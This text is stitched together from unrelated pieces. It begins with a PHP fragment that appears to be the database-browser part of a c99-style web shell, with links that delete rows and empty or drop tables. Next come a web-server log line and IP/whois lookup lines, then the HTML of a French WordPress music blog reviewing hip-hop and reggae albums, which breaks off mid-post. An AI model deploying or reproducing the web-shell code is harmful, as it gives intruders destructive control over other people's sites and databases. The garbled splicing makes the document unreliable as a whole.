      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
      echo "<tr>";
      echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
      for ($i=0;$i<mysql_num_fields($result);$i++)
      {
       $v = mysql_field_name($result,$i);
       if ($e[0] == "a") {$s = "d"; $m = "asc";}
       else {$s = "a"; $m = "desc";}
       echo "<td>";
       if (empty($e[0])) {$e[0] = "a";}
       if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
       else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
       echo "</td>";
      }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = '".addslashes($v)."' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
        echo "<td>".$v."</td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Delete\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Edit\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">With selected:</option>";
      echo "<option value=\"deleterow\">Delete</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Confirm\"></form></p>";
     }
    }
    else
    {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror();}
     else
     {
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Created</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
       echo "<td>".$row["Rows"]."</td>";
       echo "<td>".$row["Type"]."</td>";
       echo "<td>".$row["Create_time"]."</td>";
       echo "<td>".$row["Update_time"]."</td>";
       echo "<td>".$size."</td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"Empty\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Insert\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td><center><b>»</b></center></td>";
      echo "<td><center><b>".$i." table(s)</b></center></td>";
      echo "<td><b>".$trows."</b></td>";
      echo "<td>".$row[1]."</td>";
      echo "<td>".$row[10]."</td>";
      echo "<td>".$row[11]."</td>";
      echo "<td><b>".view_size($tsize)."</b></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=
31.201.249.81 - - [09/Sep/2015:17:30:21 +0200] "GET /favicon.ico HTTP/1.1" 404 2637 "-" ""
2015-08-24 16:30:02 89.105.194.89
websitelooker.com : 89.105.194.89
whois.domaintools.com : 89.105.194.89
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" dir="ltr" lang="fr-FR">

<head>
<title>Musicalicious : Blog Musical Soul, Folk, Rap, Electronic ...</title>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<link rel="stylesheet" href="http://www.musicalicious.net/wp-content/themes/lightword/style.css" type="text/css" />
<link rel="shortcut icon" href="http://www.musicalicious.net/wp-content/themes/lightword/favicon.ico" />
<link rel="alternate" type="application/rss+xml" title="RSS 2.0" href="http://www.musicalicious.net/index.php/feed" />
<link rel="alternate" type="text/xml" title="RSS .92" href="http://www.musicalicious.net/index.php/feed/rss" />
<link rel="alternate" type="application/atom+xml" title="Atom 1.0" href="http://www.musicalicious.net/index.php/feed/atom" />
<link rel="pingback" href="http://www.musicalicious.net/xmlrpc.php" />
<script type="text/javascript" src="http://ajax.googleapis.com/ajax/libs/jquery/1.3.2/jquery.min.js"></script>
<script src="http://www.musicalicious.net/wp-content/themes/lightword/js/cufon.js" type="text/javascript"></script>
<script src="http://www.musicalicious.net/wp-content/themes/lightword/js/mp.font.js" type="text/javascript"></script>

			<script type="text/javascript">//<![CDATA[
			// Google Analytics for WordPress by Yoast v4.2.7 | http://yoast.com/wordpress/google-analytics/
			var _gaq = _gaq || [];
			_gaq.push(['_setAccount', 'UA-861304-8']);
							_gaq.push(['_trackPageview']);
			(function () {
				var ga = document.createElement('script');
				ga.type = 'text/javascript';
				ga.async = true;
				ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
				var s = document.getElementsByTagName('script')[0];
				s.parentNode.insertBefore(ga, s);
			})();
			//]]></script>
			<link rel='stylesheet' id='contact-form-7-css'  href='http://www.musicalicious.net/wp-content/plugins/contact-form-7/styles.css?ver=2.4.6' type='text/css' media='all' />
<link rel="EditURI" type="application/rsd+xml" title="RSD" href="http://www.musicalicious.net/xmlrpc.php?rsd" />
<link rel="wlwmanifest" type="application/wlwmanifest+xml" href="http://www.musicalicious.net/wp-includes/wlwmanifest.xml" /> 
<link rel='index' title='MUSICALICIOUS' href='http://www.musicalicious.net' />
<meta name="generator" content="WordPress 2.9.1" />

<!-- All in One SEO Pack 1.6.13.4 by Michael Torbert of Semper Fi Web Design[208,229] -->
<meta name="description" content="Blog musical Soul, Folk, Rap, Electronic .. Albums favoris, découvertes, artistes à suivre, ça se partage avec tous !" />
<meta name="keywords" content="blog musical, soul, rap, hip hop, electronic, techno, house, jazz, albums, coups de coeur, découvertes, artistes favoris," />
<link rel="canonical" href="http://www.musicalicious.net/" />
<!-- /all in one seo pack -->
<script type='text/javascript' src='http://www.musicalicious.net/wp-includes/js/tw-sack.js?ver=1.6.1'></script>
<script type="text/javascript">
var ajaxurl = ajaxurl;
</script>

<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<meta property="og:site_name" content="MUSICALICIOUS"/>
<meta property="og:type" content="website"/>
<meta property="fb:admins" content="166527823369537"/>
<meta property="fb:page_id" content="414249315275"/>
<meta property="og:title" content="MUSICALICIOUS"/>
<meta property="og:url" content="http://www.musicalicious.net"/>
<meta property="og:description" content="Musical Blog Soul, Folk, Rap, Electronic ..."/>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
	</head>

<body>
<div id="body">
<div id="header">
<div id="top"><h1 id="logo"><a name="top" title="MUSICALICIOUS" href="http://www.musicalicious.net">MUSICALICIOUS</a> <small>Musical Blog Soul, Folk, Rap, Electronic &#8230;</small></h1></div>
<div id="rss-feed"><a title="Se syndiquer au site avec RSS" href="http://www.musicalicious.net/index.php/feed">Souscrire via RSS</a></div><div class="clear"></div>

<ul id="front_menu">
<li><a class="s" title="Accueil" href="http://www.musicalicious.net"><span>Accueil</span></a></li>
<li class="page_item page-item-329"><a href="http://www.musicalicious.net/index.php/labels" title="Labels"><span>Labels</span></a></li>
<li class="page_item page-item-653"><a href="http://www.musicalicious.net/index.php/presse" title="Presse"><span>Presse</span></a></li>
<li class="page_item page-item-621"><a href="http://www.musicalicious.net/index.php/radios" title="Radios"><span>Radios</span></a></li>
<li class="page_item page-item-695"><a href="http://www.musicalicious.net/index.php/plan-du-site" title="Plan Du Site"><span>Plan Du Site</span></a></li>
<li class="page_item page-item-781"><a href="http://www.musicalicious.net/index.php/contact" title="Contact"><span>Contact</span></a></li>
</ul>

<div id="header-search"> <form method="get" id="searchform" action="http://www.musicalicious.net"> <input type="text" value="" name="s" id="s" /> <input type="image" src="http://www.musicalicious.net/wp-content/themes/lightword/images/search.gif" id="go" alt="Recherche" title="Recherche" /></form></div><div class="clear"></div></div>
<div id="content"><div id="content-body">
<div class="post-1717 post hentry category-hip-hop-rap tag-hip-hop-jazzy tag-hip-hop-rap tag-kerjo tag-kerjostyle-and-the-mothafonk tag-rap-francais" id="post-1717">
<h2><a title="Kerjostyle &#038; The Mothafonk &#8211; Le Bon Vieux Temps" href="http://www.musicalicious.net/index.php/hip-hop-rap/kerjostyle-the-mothafonk-le-bon-vieux-temps-1717" rel="bookmark">Kerjostyle &#038; The Mothafonk &#8211; Le Bon Vieux Temps</a></h2>
<div class="comm_date"><span class="data"><span class="j">26</span><br/><span class="my">déc/11</span></span><span class="nr_comm"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/hip-hop-rap/kerjostyle-the-mothafonk-le-bon-vieux-temps-1717#respond">2</a></span></div><div class="clear"></div>
<br>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.musicalicious.net%2Findex.php%2Fhip-hop-rap%2Fkerjostyle-the-mothafonk-le-bon-vieux-temps-1717&amp;layout=standard&amp;show_faces=false&amp;width=550&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" allowTransparency="false" style="border:none; overflow:hidden; width:550px; height:35px"></iframe>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<p><strong><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.musicalicious.net/wp-content/uploads/2011/12/kerjostyle_and_the_mothafonk-le_bon_vieux_temps.jpg"><img class="alignleft size-thumbnail wp-image-1719" style="margin-left: 5px; margin-right: 5px; border: 1px solid black;" title="Kerjostyle And The Mothafonk - Le Bon Vieux Temps" src="http://www.musicalicious.net/wp-content/uploads/2011/12/kerjostyle_and_the_mothafonk-le_bon_vieux_temps-150x150.jpg" alt="" width="160" height="160" /></a>Artiste</span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Kerjostyle &amp; The Mothafonk</span></span></span><br />
<strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nom de l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Le Bon Vieux Temps<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Date de parution</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Décembre 2011 / Indépendant<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Genre musical</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : <a href="http://www.musicalicious.net/index.php/tag/hip-hop-rap" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Hip-Hop/Rap">Hip-Hop/Rap</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nationalité</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Reims / France<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Ecouter l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : </span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.deezer.com/music/kerjostyle-the-mothafonk/le-bon-vieux-temps-1361356" target="_blank">Deezer</a> &#8211; <a href="spotify:album:70ZyVSPyZ44RcRrXyd2Cdu" target="_blank">Spotify</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Liens</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : </span></span></span><a href="https://www.facebook.com/pages/Kerjostyle-the-mothafonk/113286945447407" target="_blank"><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Facebook </span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> </span></span></span></strong></a><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">- <a href="http://mothafonk.believeband.com/" target="_blank">Bandcamp</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Vous aimerez aussi</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Enz, Kohndo, Moar, Dj Steady</span></span></span></p>
<p><span style="font-family: 'book antiqua'; font-size: small;"><span style="font-family: 'book antiqua', palatino;"><strong><span style="color: #ffffff;"><br />
|</span><br />
Morceaux choisis</strong></span><span style="font-family: 'book antiqua', palatino;"> : </span></span></p>
<p><span style="font-family: 'book antiqua'; font-size: small;"><span style="font-family: 'book antiqua', palatino;">L&#8217;hémophile, A bout de souffle,  Chaque jour suffit à sa peine, Oh Marie, 90Bpm (Remix).</span></span></p>
<p><span style="font-family: 'book antiqua';"><strong>Description  :</strong></span></p>
<p><span style="font-family: 'book antiqua';">Découvert dans la sélection Rap de Décembre sur Deezer, </span><span style="font-family: 'book antiqua';"> qui au passage continue de convaincre, tant leur ligne éditoriale semble soignée face à la concurrence, Kerjostyle &amp; the Mothafonk est un groupe composé d&#8217;un MC (Kerjostyle), de musiciens (Mothafonk)  et d&#8217;un Dj (Bara) représentant la ville de Reims. Après quelques semaines d&#8217;écoute, c&#8217;est définitivement mon coup de coeur de cette fin d&#8217;année. 18 titres qui viennent réchauffer le rap français, avec de véritables compositions aux accents soul/<a href="http://www.musicalicious.net/index.php/tag/jazz" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Jazz">jazz</a>/funk,  qui donne à cet opus un groove très marqué et si rare dans nos sorties hexagonales. Il y a aussi la présence de By, beatmaker qui signe à mon goût un des meilleurs titres de l&#8217;album : &laquo;&nbsp;A bout de souffle&nbsp;&raquo;, une boucle qui me rappelle celle utilisée sur  le titre &laquo;&nbsp;Je serai là&nbsp;&raquo; de Kohndo Ft. Dwele<strong>. </strong>Le remix de 90Bpm composé par l&#8217;ensemble des musiciens est aussi de très bonne facture, les cuivres et la basse renforcent le flow et  la technique de Kerjostyle à merveille, même les scratchs y  trouvent une place de choix, élément autrefois indissociable d&#8217;un morceau de rap&#8230;c&#8217;est surement ça le bon vieux temps !<strong><br />
</strong></span></p>
<p style="text-align: right;"><em>M.A</em></p>
<p><iframe scrolling="no" frameborder="0" allowTransparency="true" src="http://www.deezer.com/fr/plugins/player?autoplay=false&#038;playlist=true&#038;width=520&#038;height=270&#038;scover=true&#038;type=album&#038;id=1361356&#038;title=" width="540" height="270"></iframe></p>
<p><em></em></p>
<p><em> </em></p>

<div class="cat_tags"><div class="category">Tagged as: <a href="http://www.musicalicious.net/index.php/tag/hip-hop-jazzy" rel="tag">hip-hop jazzy</a>, <a href="http://www.musicalicious.net/index.php/tag/hip-hop-rap" rel="tag">Hip-Hop/Rap</a>, <a href="http://www.musicalicious.net/index.php/tag/kerjo" rel="tag">kerjo</a>, <a href="http://www.musicalicious.net/index.php/tag/kerjostyle-and-the-mothafonk" rel="tag">kerjostyle and the mothafonk</a>, <a href="http://www.musicalicious.net/index.php/tag/rap-francais" rel="tag">rap francais</a></div>
<div class="continue"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/hip-hop-rap/kerjostyle-the-mothafonk-le-bon-vieux-temps-1717#respond">2 commentaires</a></div><div class="clear"></div></div><div class="cat_tags_close"></div>

</div>

<div class="post-1686 post hentry category-hip-hop-rap tag-hip-hop-rap tag-mello-music-group tag-yu" id="post-1686">
<h2><a title="yU (of Diamond District) &#8211; The Earn" href="http://www.musicalicious.net/index.php/hip-hop-rap/yu-of-diamond-district-the-earn-1686" rel="bookmark">yU (of Diamond District) &#8211; The Earn</a></h2>
<div class="comm_date"><span class="data"><span class="j">7</span><br/><span class="my">déc/11</span></span><span class="nr_comm"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/hip-hop-rap/yu-of-diamond-district-the-earn-1686#respond">0</a></span></div><div class="clear"></div>
<br>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fwww.musicalicious.net%2Findex.php%2Fhip-hop-rap%2Fyu-of-diamond-district-the-earn-1686&amp;layout=standard&amp;show_faces=false&amp;width=550&amp;action=like&amp;font=arial&amp;colorscheme=light&amp;height=35" scrolling="no" frameborder="0" allowTransparency="false" style="border:none; overflow:hidden; width:550px; height:35px"></iframe>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
<p><strong><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.musicalicious.net/wp-content/uploads/2011/12/yu_diamond_of_district-the_earn-2011.jpg"><img class="alignleft size-thumbnail wp-image-1688" style="margin-left: 0px; margin-right: 5px; border: 1px solid black;" title="yU (Diamond Of District) - The Earn " src="http://www.musicalicious.net/wp-content/uploads/2011/12/yu_diamond_of_district-the_earn-2011-150x150.jpg" alt="" width="160" height="160" /></a>Artiste</span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : yU (of Diamond District)<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nom de l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : The Earn<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Date de parution</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Décembre 2011 / <a href="http://mellomusicgroup.com/" target="_blank">Mello Music Group</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Genre musical</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : <a href="http://www.musicalicious.net/index.php/tag/hip-hop-rap" class="st_tag internal_tag" rel="tag" title="Voir les articles taggés avec Hip-Hop/Rap">Hip-Hop/Rap</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Nationalité</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : USA / Maryland<br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Ecouter l&#8217;album</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : </span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="http://www.deezer.com/music/yu/the-earn-1324692" target="_blank">Deezer</a> / Spotify / <a href="http://itunes.apple.com/us/album/the-earn/id476733648" target="_blank">Itunes</a><br />
</span></span></span><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Liens</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : </span></span></span><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"><a href="https://www.facebook.com/yUthe78er?ref=ts" target="_blank">Facebook</a> / <a href="https://twitter.com/#!/yuthe78er" target="_blank">Twitter</a> /<br />
</span></span></span><strong> </strong><strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;">Vous aimerez aussi</span></span></span></strong><span style="font-size: small;"><span style="font-size: small;"><span style="font-family: 'book antiqua', palatino;"> : Elzhi, Oddisee</span></span></span></p>
<p><span style="font-family: 'book antiqua'; font-size: small;"><span style="font-family: 'book antiqua', palatino;"><strong><br />
Morceaux choisis</strong></span><span style="font-family: 'book antiqua', palatino;"> : First, Bonafide /Overdue,  If U Down, I Believe, Blind<br />
</span></span></p>
<object type="application/x-shockwave-flash" data="http://www.musicalicious.net/wp-content/plugins/mp3FP/player_mp3_multi.swf" width="500" height="110" id="mp3fp_0"><param name="movie" value="http://www.musicalicious.net/wp-content/plugins/mp3FP/player_mp3_multi.swf" /><param name="wmode" value="transparent"/><param name="FlashVars" value="mp3=http://www.musicalicious.net/wp-content/uploads/2011/12/yU - 02 First.mp3|http://www.musicalicious.net/wp-content/uploads/2011/12/yU - 03 Bonafide - Overdue.mp3|http://www.musicalicious.net/wp-content/uploads/2011/12/yU - 04 If U Down.mp3|http://www.musicalicious.net/wp-content/uploads/2011/12/yU - 11 I Believe.mp3|http://www.musicalicious.net/wp-content/uploads/2011/12/yU - 12 Blind.mp3&amp;title= yU - First| yU - Bonafide/Overdue| yU - If U Down| yU - I Believe| yU - Blind&amp;width=500&amp;height=110&amp;volume=100&amp;autoplay=0&amp;loop=0&amp;showvolume=1&amp;showslider=1&amp;showloading=autohide&amp;buttonwidth=25&amp;sliderwidth=15&amp;sliderheight=10&amp;volumewidth=30&amp;volumeheight=10&amp;loadingcolor=BBDFDC&amp;bgcolor1=7c7c7c&amp;bgcolor2=333333&amp;slidercolor1=cccccc&amp;slidercolor2=999999&amp;sliderovercolor=BBDFDC&amp;buttoncolor=ffffff&amp;buttonovercolor=BBDFDC&amp;textcolor=ffffff&amp;showlist=1&amp;playlistcolor=000000&amp;playlistalpha=100&amp;currentmp3color=BBDFDC&amp;scrollbarcolor=ffffff&amp;scrollbarovercolor=BBDFDC&amp;showplaylistnumbers=1" /></object></em><span style="font-family: 'book antiqua';"><strong> </strong></span></p>
<p><span style="font-family: 'book antiqua';"><strong>Description  :</strong> </span></p>
<p><span style="font-family: 'book antiqua';">Voilà plus d&#8217;un an que le 1er album de yU du groupe Diamond District est sorti : &laquo;&nbsp;Before Taxes&nbsp;&raquo; (<a href="http://www.deezer.com/music/yu/before-taxes-1017651" target="_blank">Deezer</a> / <a href="spotify:album:0cc5P2t8Hv99OPpZBFLhVW" target="_blank">Spotify</a>) et si vous êtes passés à côté, c&#8217;est à mon goût l&#8217;une des plus belles révélations de 2010. Conscient, incisif, freestyler de haut vol et des productions de très haut niveau (souvent comparées aux plus grandes heures de gloire du Wu Tang..à vous de juger). Aujourd&#8217;hui c&#8217;est juste avant les fêtes que yU a décidé de sortir son 2eme album intitulé &laquo;&nbsp;The Earn&nbsp;&raquo;. C&#8217;est l&#8217;album avec celui des Roots que j&#8217;attendais le plus. Sa sortie officielle est prévue le 13 Décembre mais il en avant première sur <a href="http://itunes.apple.com/us/album/the-earn/id476733648" target="_blank">Itunes</a> . 17 titres avec pour grande partie des productions assurées par lui-même. Après quelques écoutes, l&#8217;ambiance de cet album paraît plus déstructurée que le premier mais  4/5 gros titres qui révèle yU comme l&#8217;un des meilleurs MC de ces deux dernières années. On notera le fracassant &laquo;&nbsp;If U Down&nbsp;&raquo; produit par Slimkat78<strong>, </strong>le très soulful et groovy &laquo;&nbsp;Blind&nbsp;&raquo; de Mr Kev Brown. Peut-être pas un classique mais un album qui transpire le rap, le vrai. Merci yU.</p>
<p style="text-align: right;"><em>M.A</em></p>
<p><iframe width="420" height="315" src="http://www.youtube.com/embed/tEo_Nk_gP5k" frameborder="0" allowfullscreen></iframe></p>
<p style="text-align: left;"><strong>Tracklisting</strong></p>
<p>01. Flipping Channels/ theEARNtro (Prod. By  Slimkat78; DJ Roddy Rod)<br />
02. First (Prod. By 00GENESIS)<br />
03. Bonafide/Overdue Ft. Nicholas Ryan Gant (Prod. By Kokayi; yU)<br />
04. If U Down (Prod. By  Slimkat78)<br />
05. Time Machine/I Remember U Ft. Bilal Salaam; Danedra Rowell (Prod. By Unknown; yU)<br />
06. Write On Ft. Imani Bilal; King Tut (Prod. By Usef Dinero; Slimkat78)<br />
07. Even If/ The Willingham (Prod. By DJ Roddy Rod)<br />
08. theEARN (Prod. By Choppy ChopPe)<br />
09. Money (The Ahh Yeah) (Prod. By Slimkat78)<br />
10. End Of An Era (Prod. By yU)<br />
11. I Believe featuring Duff (Prod. By Charlie Ross)<br />
12. Blind (Prod. By Kev Brown)<br />
13. Delay Ft. Diamond District (Prod. By yU)<br />
14. Fast Money (Prod. By yU)<br />
15. Better Man Ft. Duff (Prod. By Slimkat78)<br />
16. Make A Living (Prod. By yU)<br />
17. Highlights of Life Pt. 2 (Prod. By yU)</p>

<div class="cat_tags"><div class="category">Tagged as: <a href="http://www.musicalicious.net/index.php/tag/hip-hop-rap" rel="tag">Hip-Hop/Rap</a>, <a href="http://www.musicalicious.net/index.php/tag/mello-music-group" rel="tag">mello music group</a>, <a href="http://www.musicalicious.net/index.php/tag/yu" rel="tag">yu</a></div>
<div class="continue"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/hip-hop-rap/yu-of-diamond-district-the-earn-1686#respond">Aucun commentaire</a></div><div class="clear"></div></div><div class="cat_tags_close"></div>

</div>

<div class="post-1665 post hentry category-reggae tag-afrobeat tag-record-kicks tag-reggae tag-the-strides" id="post-1665">
<h2><a title="The Strides &#8211; Reclamation" href="http://www.musicalicious.net/index.php/reggae/the-strides-reclamation-1665" rel="bookmark">The Strides &#8211; Reclamation</a></h2>
<div class="comm_date"><span class="data"><span class="j">29</span><br/><span class="my">nov/11</span></span><span class="nr_comm"><a class="nr_comm_spot" href="http://www.musicalicious.net/index.php/reggae/the-strides-reclamation-1665#respond">0</a></span></div><div class="clear"></div>
<br>
<!-- using Like-Button-Plugin-For-Wordpress [v4.2.5.1] | by http://www.gb-world.net -->
